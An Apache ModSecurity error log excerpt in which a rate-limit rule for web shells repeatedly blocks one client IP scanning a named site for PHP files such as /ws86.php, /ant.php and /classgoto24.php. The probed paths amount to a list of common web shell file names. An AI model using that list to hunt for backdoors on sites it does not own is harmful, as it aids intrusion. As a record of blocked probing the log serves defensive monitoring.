[Wed Apr 01 08:14:59.965779 2026] [:error] [pid 23714:tid 23753] [client 74.234.75.219:65305] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acxjg0HxDDU2ETcG9DQMDAAAABM"]
[Wed Apr 01 08:15:00.506975 2026] [:error] [pid 24348:tid 24386] [client 74.234.75.219:64671] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acxjhG0Vs69Y5nF1HA_4UAAAAYc"]
[Wed Apr 01 08:15:01.007246 2026] [:error] [pid 24314:tid 24324] [client 74.234.75.219:65281] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acxjhZRF3FCzjmMUX5b4qAAAAQY"]
[Wed Apr 01 08:15:01.551135 2026] [:error] [pid 24314:tid 24320] [client 74.234.75.219:65362] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acxjhZRF3FCzjmMUX5b4qgAAAQI"]
[Wed Apr 01 08:15:02.054056 2026] [:error] [pid 24314:tid 24340] [client 74.234.75.219:65348] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acxjhpRF3FCzjmMUX5b4rAAAARY"]
[Wed Apr 01 08:15:02.578369 2026] [:error] [pid 24314:tid 24337] [client 74.234.75.219:64118] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acxjhpRF3FCzjmMUX5b4sQAAARM"]
[Wed Apr 01 08:15:03.126109 2026] [:error] [pid 24314:tid 24321] [client 74.234.75.219:64106] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acxjh5RF3FCzjmMUX5b4tQAAAQM"]
[Wed Apr 01 08:15:03.656846 2026] [:error] [pid 24314:tid 24336] [client 74.234.75.219:62816] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acxjh5RF3FCzjmMUX5b4twAAARI"]
[Wed Apr 01 08:15:04.189836 2026] [:error] [pid 24314:tid 24332] [client 74.234.75.219:65379] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acxjiJRF3FCzjmMUX5b4uwAAAQ4"]
[Wed Apr 01 08:15:04.716221 2026] [:error] [pid 24314:tid 24339] [client 74.234.75.219:64010] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acxjiJRF3FCzjmMUX5b4vAAAARU"]
[Wed Apr 01 08:15:05.221815 2026] [:error] [pid 24314:tid 24333] [client 74.234.75.219:64667] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acxjiZRF3FCzjmMUX5b4wAAAAQ8"]
[Wed Apr 01 08:15:05.723359 2026] [:error] [pid 24314:tid 24325] [client 74.234.75.219:64066] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acxjiZRF3FCzjmMUX5b4wwAAAQc"]
[Wed Apr 01 08:15:06.227047 2026] [:error] [pid 24348:tid 24384] [client 74.234.75.219:63464] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acxjim0Vs69Y5nF1HA_4VgAAAYU"]
[Wed Apr 01 08:15:06.739838 2026] [:error] [pid 23715:tid 23764] [client 74.234.75.219:64058] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acxjiq-REzOruNbiT9x6JQAAAEM"]
[Wed Apr 01 08:15:07.278929 2026] [:error] [pid 23715:tid 23772] [client 74.234.75.219:65367] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "acxji6-REzOruNbiT9x6KgAAAEs"]
[Wed Apr 01 08:15:07.789686 2026] [:error] [pid 23715:tid 23778] [client 74.234.75.219:63408] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "acxji6-REzOruNbiT9x6MwAAAFE"]
[Wed Apr 01 08:15:08.307822 2026] [:error] [pid 24314:tid 24331] [client 74.234.75.219:64669] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "acxjjJRF3FCzjmMUX5b41wAAAQ0"]
[Wed Apr 01 08:15:08.887103 2026] [:error] [pid 24348:tid 24397] [client 74.234.75.219:65406] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "acxjjG0Vs69Y5nF1HA_4YAAAAZI"]
[Wed Apr 01 08:15:09.418993 2026] [:error] [pid 24348:tid 24390] [client 74.234.75.219:64674] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "acxjjW0Vs69Y5nF1HA_4YQAAAYs"]
[Wed Apr 01 08:15:10.001645 2026] [:error] [pid 23714:tid 23740] [client 74.234.75.219:65300] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "acxjjkHxDDU2ETcG9DQMFAAAAAY"]
[Wed Apr 01 08:15:10.550403 2026] [:error] [pid 23714:tid 23753] [client 74.234.75.219:64700] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "acxjjkHxDDU2ETcG9DQMGgAAABM"]
[Wed Apr 01 08:15:11.057931 2026] [:error] [pid 23714:tid 23738] [client 74.234.75.219:65377] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "acxjj0HxDDU2ETcG9DQMHwAAAAQ"]
[Wed Apr 01 08:15:11.562148 2026] [:error] [pid 24348:tid 24400] [client 74.234.75.219:65361] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acxjj20Vs69Y5nF1HA_4YwAAAZU"]
[Wed Apr 01 08:15:12.069248 2026] [:error] [pid 24346:tid 24361] [client 74.234.75.219:64656] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acxjkLc1l8kg9MhGHIKjawAAAUk"]
[Wed Apr 01 08:15:12.583516 2026] [:error] [pid 24314:tid 24324] [client 74.234.75.219:63380] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acxjkJRF3FCzjmMUX5b42wAAAQY"]
[Wed Apr 01 08:15:13.117842 2026] [:error] [pid 24346:tid 24356] [client 74.234.75.219:64719] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acxjkbc1l8kg9MhGHIKjbQAAAUQ"]
[Wed Apr 01 08:15:13.649653 2026] [:error] [pid 23715:tid 23777] [client 74.234.75.219:64765] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acxjka-REzOruNbiT9x6SwAAAFA"]
[Wed Apr 01 08:15:14.157061 2026] [:error] [pid 23715:tid 23765] [client 74.234.75.219:62807] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acxjkq-REzOruNbiT9x6TwAAAEQ"]
[Wed Apr 01 08:15:14.702184 2026] [:error] [pid 23715:tid 23769] [client 74.234.75.219:64728] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acxjkq-REzOruNbiT9x6UwAAAEg"]
[Wed Apr 01 08:15:15.232431 2026] [:error] [pid 24346:tid 24368] [client 74.234.75.219:64065] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acxjk7c1l8kg9MhGHIKjbwAAAVA"]
[Wed Apr 01 08:15:15.744408 2026] [:error] [pid 23715:tid 23774] [client 74.234.75.219:65319] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acxjk6-REzOruNbiT9x6VQAAAE0"]
[Wed Apr 01 08:15:16.288388 2026] [:error] [pid 23714:tid 23738] [client 74.234.75.219:64691] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acxjlEHxDDU2ETcG9DQMLAAAAAQ"]
[Wed Apr 01 08:15:16.800657 2026] [:error] [pid 23819:tid 23845] [client 74.234.75.219:65356] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acxjlNdfUS_37wFAM773ZgAAANc"]
[Wed Apr 01 08:15:17.314403 2026] [:error] [pid 24346:tid 24357] [client 74.234.75.219:65364] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acxjlbc1l8kg9MhGHIKjdAAAAUU"]
[Wed Apr 01 08:15:17.869083 2026] [:error] [pid 23714:tid 23749] [client 74.234.75.219:64114] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acxjlUHxDDU2ETcG9DQMNAAAAA8"]
[Wed Apr 01 08:15:18.383747 2026] [:error] [pid 23716:tid 23797] [client 74.234.75.219:64012] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acxjlnVtFUg_mx-RYb52igAAAIk"]
[Wed Apr 01 08:15:18.895622 2026] [:error] [pid 24348:tid 24392] [client 74.234.75.219:65291] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acxjlm0Vs69Y5nF1HA_4bwAAAY0"]
[Wed Apr 01 08:15:19.452317 2026] [:error] [pid 23714:tid 23745] [client 74.234.75.219:62758] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acxjl0HxDDU2ETcG9DQMOAAAAAs"]
[Wed Apr 01 08:15:19.980725 2026] [:error] [pid 24348:tid 24400] [client 74.234.75.219:64090] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acxjl20Vs69Y5nF1HA_4cAAAAZU"]
[Wed Apr 01 08:15:20.510819 2026] [:error] [pid 24348:tid 24395] [client 74.234.75.219:64743] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acxjmG0Vs69Y5nF1HA_4cgAAAZA"]
[Wed Apr 01 08:15:21.012319 2026] [:error] [pid 24314:tid 24331] [client 74.234.75.219:64051] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acxjmZRF3FCzjmMUX5b44QAAAQ0"]
[Wed Apr 01 08:15:21.516359 2026] [:error] [pid 24348:tid 24394] [client 74.234.75.219:64711] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acxjmW0Vs69Y5nF1HA_4dwAAAY8"]
[Wed Apr 01 08:15:22.018477 2026] [:error] [pid 23714:tid 23737] [client 74.234.75.219:62745] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "acxjmkHxDDU2ETcG9DQMPgAAAAM"]
[Wed Apr 01 08:15:22.521318 2026] [:error] [pid 23714:tid 23740] [client 74.234.75.219:64008] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "acxjmkHxDDU2ETcG9DQMQAAAAAY"]
[Wed Apr 01 08:15:23.031788 2026] [:error] [pid 23714:tid 23752] [client 74.234.75.219:64105] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "acxjm0HxDDU2ETcG9DQMRQAAABI"]
[Wed Apr 01 08:15:23.556503 2026] [:error] [pid 23714:tid 23734] [client 74.234.75.219:64065] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "acxjm0HxDDU2ETcG9DQMTAAAAAA"]
[Wed Apr 01 08:15:24.072835 2026] [:error] [pid 24348:tid 24396] [client 74.234.75.219:63446] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acxjnG0Vs69Y5nF1HA_4eQAAAZE"]
[Wed Apr 01 08:15:24.618575 2026] [:error] [pid 23715:tid 23770] [client 74.234.75.219:65371] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acxjnK-REzOruNbiT9x6dQAAAEk"]
[Wed Apr 01 08:15:25.126697 2026] [:error] [pid 23714:tid 23756] [client 74.234.75.219:64653] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acxjnUHxDDU2ETcG9DQMUQAAABY"]
[Wed Apr 01 08:15:25.636033 2026] [:error] [pid 24314:tid 24337] [client 74.234.75.219:63374] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acxjnZRF3FCzjmMUX5b47AAAARM"]
[Wed Apr 01 08:15:26.179297 2026] [:error] [pid 24348:tid 24390] [client 74.234.75.219:63480] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acxjnm0Vs69Y5nF1HA_4ewAAAYs"]
[Wed Apr 01 08:15:26.720923 2026] [:error] [pid 23714:tid 23737] [client 74.234.75.219:64655] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acxjnkHxDDU2ETcG9DQMcQAAAAM"]
[Wed Apr 01 08:15:27.277652 2026] [:error] [pid 24346:tid 24362] [client 74.234.75.219:64761] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acxjn7c1l8kg9MhGHIKjewAAAUo"]
[Wed Apr 01 08:15:27.813534 2026] [:error] [pid 23714:tid 23735] [client 74.234.75.219:62811] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acxjn0HxDDU2ETcG9DQMgwAAAAE"]
[Wed Apr 01 08:15:28.338353 2026] [:error] [pid 23714:tid 23741] [client 74.234.75.219:65392] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acxjoEHxDDU2ETcG9DQMhQAAAAc"]
[Wed Apr 01 08:15:28.892320 2026] [:error] [pid 23819:tid 23846] [client 74.234.75.219:63414] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acxjoNdfUS_37wFAM773bwAAANg"]
